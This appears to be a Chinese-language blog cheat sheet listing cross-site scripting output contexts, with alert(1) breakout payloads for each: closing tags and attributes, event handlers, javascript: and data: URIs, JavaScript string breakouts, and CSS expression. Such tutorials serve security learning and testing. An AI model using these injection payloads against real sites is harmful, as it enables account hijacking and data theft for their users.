【XSS】xss输出点总结

2017-10-18  本文已影响0人  Pino_HD

0x01 HTML标签之间

例如输出点:

<div id="body">[输出]</div>

直接提交<script>alert(1)</script>即可触发XSS,但是当标签是不能执行脚本的标签(总结http://www.jianshu.com/p/211f75b73520),那么就得先把那个标签闭合,然后在注入XSS语句,例如

</textarea><script>alert(1)</script>

0x02 HTML标签之内

例如输入点:

<input type="text" value="[输出]"/>

两种方法:

  1. 闭合属性,然后用on时间来触发脚本
" onmouseover=alert(1) x="
  1. 闭合属性后闭合标签,然后直接执行脚本
"><script>alert(1)</script>

还有一些特殊的场景:

<input type="hiden" value="[输出]" />

这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本

<input value="[输出点]" type="hidden"/>

但是这里可以输入

1" onmouseover=alert(1) type="text

输出变为

<input value="1" onmouseover=alert(1) type="text" type="hidden" />

这时候的输出就不再是隐藏表单了,而是标准输入框

再比如这两类场景:

  1. 输出在src/href/action等属性内,比如
<a href="[输出]">click me </a>

除了各种闭合标签外,还可以

javascript:alert(1)//
data:text/html;base64,(base64字符串)

前提是我们提交的payload必须出现在这些属性值的开头部分(data:协议的必须作为整个属性值出现,IE不支持)

对于javascript:alert(1)//来说,如果网站把注释符//过滤了,那么我们还可以用javascript逻辑与算数运算符,因为JavaScript是弱类型语言,字符串与字符串之间的各种运算是合法的,可以用

<a href="javascript:alert(1) - html">click me</a>
window.onerror=function(){return true;}    //抑制错误
  1. 输出在on*事件内,比如<a href="#" onclick="[输出]">click me</a>

on*事件是可以执行javascript脚本的。

0x03 成为Javascript代码的值

例如

<script>a="[输出]";...</script>

此时我们可以闭合标签</script><script>alert(1)//
也可以闭合a变量的值";alert(1);//

0x04 成为CSS代码的值

打开就是利用expression关键词来执行脚本

上一篇 下一篇

猜你喜欢

热点阅读